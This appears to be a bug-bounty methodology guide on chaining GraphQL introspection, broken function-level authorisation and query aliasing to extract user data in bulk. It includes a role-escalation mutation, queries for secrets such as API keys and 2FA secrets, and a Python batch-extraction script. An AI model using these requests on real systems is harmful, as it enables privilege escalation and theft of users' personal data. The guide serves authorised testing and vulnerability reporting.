GraphQL BFLA to Mass Data Extraction
Why This Chain Works
GraphQL gives you introspection by default in most frameworks, which means you can enumerate every query, mutation, and field the API exposes without any credentials beyond a valid session. Developers restrict access at the route level but forget that GraphQL is a single endpoint - what they meant to block as "admin-only mutations" is visible to any authenticated user who runs an introspection query. Broken function-level authorisation on a mutation that returns other users' data becomes mass extraction when you add query aliasing to run hundreds of lookups in a single request, bypassing per-query rate limits entirely.
Related: GraphQL Security, Broken Function Level Authorization, IDOR to ATO
Attack Flow
flowchart TD A["Authenticate as low-priv user"] B["Run introspection query<br/>to enumerate all types and fields"] C["Discover hidden mutations<br/>and privileged query fields"] D["Test privileged mutation<br/>with low-priv token"] E{"Authorisation enforced?"} F["403 / error returned -<br/>BFLA not present"] G["Mutation executes -<br/>BFLA confirmed"] H["Identify user-enumeration query<br/>that leaks PII or tokens"] I["Craft aliased query:<br/>user1:user(id:1), user2:user(id:2)..."] J["Single request returns<br/>N user records"] K["Repeat with batched aliases<br/>to extract full dataset"] L["Mass data extraction confirmed"] A --> B --> C --> D --> E E -->|"Yes"| F E -->|"No"| G --> H --> I --> J --> K --> L style A fill:#cc3333,color:#fff style L fill:#cc3333,color:#fff
Step-by-Step
1. Run Introspection
Send the full introspection query as an authenticated low-privilege user:
{
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
name
kind
fields {
name
args { name type { name kind ofType { name kind } } }
type { name kind ofType { name kind } }
}
}
}
}Paste the JSON response into a tool like GraphQL Voyager or InQL to visualise the schema. Look for:
- Mutations with names like
updateUserRole,deleteUser,adminCreateUser,bulkExport - Query fields that return
Userobjects withemail,phone,token,password_hash - Subscription types that push real-time data
2. Test Each Privileged Operation
For every mutation you find that looks like it should be admin-only, send a test with your low-priv token:
POST /graphql HTTP/1.1
Authorization: Bearer LOW_PRIV_TOKEN
Content-Type: application/json
{
"query": "mutation { updateUserRole(userId: 2, role: \"admin\") { id role } }"
}If the response is:
{"errors":[{"message":"Not authorized"}]}- authorisation is enforced, move on{"data":{"updateUserRole":{"id":2,"role":"admin"}}}- BFLA confirmed
Also test queries that return other users' sensitive fields:
{
user(id: 2) {
email
phone
apiKey
passwordResetToken
twoFactorSecret
}
}3. Identify the Extraction Target
Once you find a BFLA query that returns sensitive fields for arbitrary user IDs, build the extraction payload. GraphQL's aliasing feature lets you request the same field multiple times with different arguments in a single query:
{
user1: user(id: 1) { id email phone }
user2: user(id: 2) { id email phone }
user3: user(id: 3) { id email phone }
}This is one HTTP request, one query cost, N user records returned. Most rate limits apply per request or per query, not per alias. A single request with 100 aliases returns 100 user records.
4. Batch Extraction
For a full dataset, iterate through ID ranges with aliased queries. Script this with Python:
import requests
import json
url = "https://api.target.com/graphql"
headers = {
"Authorization": "Bearer LOW_PRIV_TOKEN",
"Content-Type": "application/json"
}
def build_aliased_query(start, count):
aliases = []
for i in range(start, start + count):
aliases.append(f"user{i}: user(id: {i}) {{ id email phone createdAt }}")
return "{ " + " ".join(aliases) + " }"
# Extract in batches of 50
for batch_start in range(1, 1000, 50):
query = build_aliased_query(batch_start, 50)
resp = requests.post(url, json={"query": query}, headers=headers)
data = resp.json().get("data", {})
for key, user in data.items():
if user:
print(f"{user.get('id')},{user.get('email')},{user.get('phone')}")In the PoC, extract a small sample (5-10 users) and stop. Do not dump the full database.
5. Introspection Disabled - Try Field Suggestions
If introspection is disabled, GraphQL engines often still return field suggestion errors:
POST /graphql
{"query": "{ usr { id } }"}Response:
{"errors":[{"message":"Cannot query field 'usr' on type 'Query'. Did you mean 'user', 'users', or 'userSearch'?"}]}Use Clairvoyance to enumerate fields systematically from these suggestions.
6. Confirm Impact
Show the number of records extractable per request and the sensitivity of the fields:
Single aliased query (50 aliases, one HTTP request):
- Returns: 50 user records
- Fields: id, email, phone, createdAt
- Rate limit status: not triggered (limit is per-request, not per alias)
At 50 records per request: full user base of 500,000 users = 10,000 requests
At the program's stated rate limit of 100 req/min: extractable in ~1.7 hoursPoC Template for Report
1. Introspection query (authenticated as role=user)
Discovered: mutation { updateUserRole(userId: ID, role: String) }
and query { user(id: ID) { id email phone apiKey } }
2. BFLA test on updateUserRole:
mutation { updateUserRole(userId: 2, role: "admin") { id role } }
Response: {"data":{"updateUserRole":{"id":2,"role":"admin"}}}
-- Role update succeeded with low-priv token --
3. PII extraction via BFLA on user query:
{ user(id: 2) { id email phone apiKey } }
Response: {"data":{"user":{"id":2,"email":"victim@target.com","phone":"+1..","apiKey":"key-..."}}}
4. Aliased batch query (5 users, single request):
{ user1: user(id:1){id email} user2: user(id:2){id email} ... user5: user(id:5){id email} }
Response: 5 user records returned, rate limit not triggered
Full extraction estimate: 500,000 users / 50 per request = 10,000 requests
5 sample records attached, full extraction not performed.Public Reports
- GraphQL IDOR exposing all user PII via aliased queries on HackerOne - HackerOne #291531
- GraphQL introspection reveals admin mutations accessible by regular users on GitLab - HackerOne #1064543
- Broken function-level authorisation in GraphQL allowing mass user enumeration - HackerOne #1987489
- GraphQL batch query aliasing used to bypass rate limits and enumerate user emails - HackerOne #1016122
Reporting Notes
Show introspection, the BFLA mutation/query, and the aliased batch extraction as three distinct findings that combine into one chain. Quantify the extraction rate: "X records per request, Y users total, extractable in Z time." This moves the severity argument from "theoretical" to "here is the data breach timeline." If the program uses CVSS, the combination of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H for the BFLA plus the batch extraction scope puts this firmly at critical.